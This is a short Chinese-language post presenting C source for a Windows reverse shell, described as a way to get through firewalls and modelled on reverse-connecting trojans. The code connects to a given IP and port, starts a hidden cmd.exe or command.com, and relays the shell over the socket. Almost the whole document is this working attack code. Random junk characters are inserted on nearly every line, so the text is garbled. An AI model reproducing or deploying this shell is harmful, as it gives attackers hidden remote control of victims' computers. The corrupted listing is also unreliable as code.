这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q`HK4~i,
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/* ============================== xhncQhf\
Rebound port in Windows NT FF#?x@N:
By wind,2006/7 g\@zQ^O?
===============================*/ *N%)+-
#include N7Kkz
/
#include E=qfI>2U&
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#pragma comment(lib,"wsock32.lib") %TzdpQp"
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void OutputShell(); Ss'Dto35Q
SOCKET sClient; cxnEcX\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &8hW~G>(m
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void main(int argc,char **argv) L%/atl!
{ 7h\U}!
WSADATA stWsaData; &[$t%:`
int nRet; dSbz$Fc t
SOCKADDR_IN stSaiClient,stSaiServer; CZ,2Rq
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if(argc != 3) zO 6Sl[)
{ a-9sc6@
printf("Useage:\n\rRebound DestIP DestPort\n"); W7.QK/@
return; M>@PRb:Oc
} +e&Q<q!,q
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WSAStartup(MAKEWORD(2,2),&stWsaData); aTE;Gy,W
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]{= qdgJ
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stSaiClient.sin_family = AF_INET; &Pgk$e%>
stSaiClient.sin_port = htons(0); 6v&@Rlg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sb</-']a
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gr4JaV
{
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printf("Bind Socket Failed!\n"); q=+wQ[a<
return; HLl"=m1/>
} M|qJZ#{4>
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stSaiServer.sin_family = AF_INET; >C}KSyV;
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zq]:.s
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d>x(Bj6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -p f9Wk
{ u$+nl~p[&
printf("Connect Error!"); NzbHg p
return; MDfC%2Q
} )7a
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OutputShell(); mlbSs_LT^
} "Fqrk>Q~
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void OutputShell() #=I5_u
{ H2E'i\
char szBuff[1024]; -<^3!C >
SECURITY_ATTRIBUTES stSecurityAttributes; w/Wd^+IIn
OSVERSIONINFO stOsversionInfo; `+GiSj8'G
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p+Icq!aH5
STARTUPINFO stStartupInfo; }*56DX
char *szShell; L7s
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PROCESS_INFORMATION stProcessInformation; poXT)2^)
unsigned long lBytesRead; MMf_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tj[-|h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); d6~d)E
stSecurityAttributes.lpSecurityDescriptor = 0; H;RgYu2J
stSecurityAttributes.bInheritHandle = TRUE; t&rr;W]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _sIr'sR~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wyv%c/WlS
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (z X&feq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iI!g1
stStartupInfo.wShowWindow = SW_HIDE; YG>6;g)Zm
stStartupInfo.hStdInput = hReadPipe; 0<]]q[pr
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :A`jRe.
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GetVersionEx(&stOsversionInfo); wO"ezQ
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switch(stOsversionInfo.dwPlatformId) PpR
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{ B{lL}"++0
case 1: (t"rzH
szShell = "command.com"; 5z"[{#/
break; Ms=11C
default: -A1:S'aN-
szShell = "cmd.exe"; o.>Yj)U
break; PF:E{_~
} *|)O
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dx"9jFn
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send(sClient,szMsg,77,0); "Kf4v|6;
while(1) Q&?B^[N*Q
{ $kn"S>jV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l6HT}x7OiH
if(lBytesRead) bk4G+wGw
{ P:c'W?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @v n%
send(sClient,szBuff,lBytesRead,0); i|G /x
} >I9|N}I
else q%wF=<W
{ z.
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lBytesRead=recv(sClient,szBuff,1024,0); vjYG>YhV
if(lBytesRead<=0) break; 8rSu,&<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d4A3DTW
} |p":s3K"Hy
} ]d,#PF
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return; d$v{oC}
}